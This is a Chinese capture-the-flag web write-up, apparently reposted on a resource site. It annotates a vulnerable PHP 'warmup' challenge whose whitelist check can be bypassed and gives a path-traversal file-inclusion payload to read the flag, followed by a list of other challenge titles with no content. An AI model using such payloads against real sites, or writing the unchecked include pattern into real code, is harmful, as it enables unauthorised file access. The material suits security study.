warmup
知识点
使用相对路径控制url读取方法
//eee.php
<?php
$f = $_GET["file"];
include($f);
?>
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) { // 或者不设置page,或者page不等于字符串时 就return 结束
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //page不能在数组里
echo "yes1";
return true; //如果执行了return,则return 语句后面的内容将不会被执行了;
}
$_page = mb_substr( //截取 $page 0,?出现的之前的字符串,相当于还是全部字符
$page,
0,
mb_strpos($page . '?', '?') //找page? 中第一次出现的位置
);
if (in_array($_page, $whitelist)) { //$_page 不能在白名单,否则return结束
echo "yes2";
return true;
}
$_page = urldecode($page); // 解码一次$page
$_page = mb_substr( //这次要截取出白名单含有的内容,下面的if返回一个true,否则下面的if不匹配,后面就返回false。最后的if条件就不成立了
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { /
echo "yes3";
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) //$file非空,并且是字符串,然后用checkfile过滤完
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file']; //包含file文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
POC
source.php%3f../../../../../ffffllllaaaagggg
supersqli
过滤了select|update|delete|drop|insert|where|
Web_php_include
php_rce
Web_php_unserialize
Web_python_template_injection
Web2
command_execution
xff_referer
upload1
NewsCenter
原文地址:http://www.cnblogs.com/1zpeasy/p/16917186.html
1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
2. 分享目的仅供大家学习和交流,请务用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员!
8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载
声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性